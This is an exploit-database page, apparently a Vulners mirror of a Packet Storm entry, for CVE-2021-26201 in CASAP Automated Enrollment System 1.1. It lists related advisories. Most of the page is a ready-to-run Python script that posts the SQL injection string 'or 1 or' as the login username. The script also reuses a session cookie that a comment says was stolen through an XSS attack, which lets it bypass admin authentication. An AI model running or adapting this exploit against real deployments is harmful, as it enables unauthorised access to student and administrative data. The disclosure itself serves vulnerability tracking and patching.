Lucene search
K

CASAP Automated Enrollment System 1.1 SQL Injection

🗓️ 02 Mar 2021 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 380 Views

CASAP Automated Enrollment System 1.1 SQL Injection, Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CASAP Automated Enrollment System 1.1 SQL Injection Exploit
2 Mar 202100:00
zdt
CNNVD
CASAP Automated Enrollment SQL Injection Vulnerability
15 Feb 202100:00
cnnvd
Check Point Advisories
CASAP Automated Enrollment System Authentication Bypass (CVE-2021-26201)
22 Feb 202100:00
checkpoint_advisories
CVE
CVE-2021-26201
15 Feb 202120:39
cve
Cvelist
CVE-2021-26201
15 Feb 202120:39
cvelist
EUVD
EUVD-2021-13018
7 Oct 202500:30
euvd
NVD
CVE-2021-26201
15 Feb 202121:15
nvd
OSV
CVE-2021-26201
15 Feb 202121:15
osv
Prion
Sql injection
15 Feb 202121:15
prion
RedhatCVE
CVE-2021-26201
22 May 202520:39
redhatcve
Rows per page
`# Exploit Title: CASAP Automated Enrollment System 1.1 -  
Authentication Bypass cookie session  
# Exploit Author: @nu11secur1ty  
# Date: 03.02.2021  
# Vendor Homepage:  
https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html  
# Software Link:  
https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip  
# Version: 1.1  
# Tested On: Ubuntu + XAMPP 7.3.2  
# Description: CASAP Automated Enrollment System 1.0 - Authentication  
Bypass SQLi cookie session  
# Exploit Link:  
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26201  
# More: https://www.nu11secur1ty.com/2021/03/cve-2021-26201.html  
  
[Exploit]  
  
  
import time  
import sys  
import requests  
import webbrowser  
  
# Creator of the idea: Himanshu Shukla  
print("Author: @nu11secur1ty")  
  
def authbypass(url):  
  
#Authentication Bypass  
s = requests.Session()  
#Set Cookie fot testing  
#PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack  
cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'}  
  
print ("[*]Attempting Authentication Bypass cookie session...")  
time.sleep(1)  
  
values = {"username":"'or 1 or'","password":""}  
r=s.post(url+'login.php', data=values, cookies=cookies)  
p=s.get(url+'dashboard.php', cookies=cookies)  
  
#Check if Authentication was bypassed or not.  
logged_in = True if ("true_admin" in r.text) else False  
l=logged_in  
if l:  
print("[+]Authentication Bypass Successful...!")  
else:  
print("[-]Failed cookie Authentication exploit!")  
print("[-]Check Your URL")  
  
if __name__ == "__main__":  
  
if len(sys.argv)!=2:  
print("You Haven't Provided any URL!")  
print("Usage : python3 exploit.py <URL>")  
print("Example : python3 exploit.py http://IP_or_domain/final/")  
exit()  
try:  
authbypass(sys.argv[1])  
webbrowser.open('http://10.10.10.100/final/dashboard.php')  
except:  
  
print("[-]Invalid URL!")  
exit()  
  
# BR @nu11secur1ty  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://www.exploit-db.com/  
https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation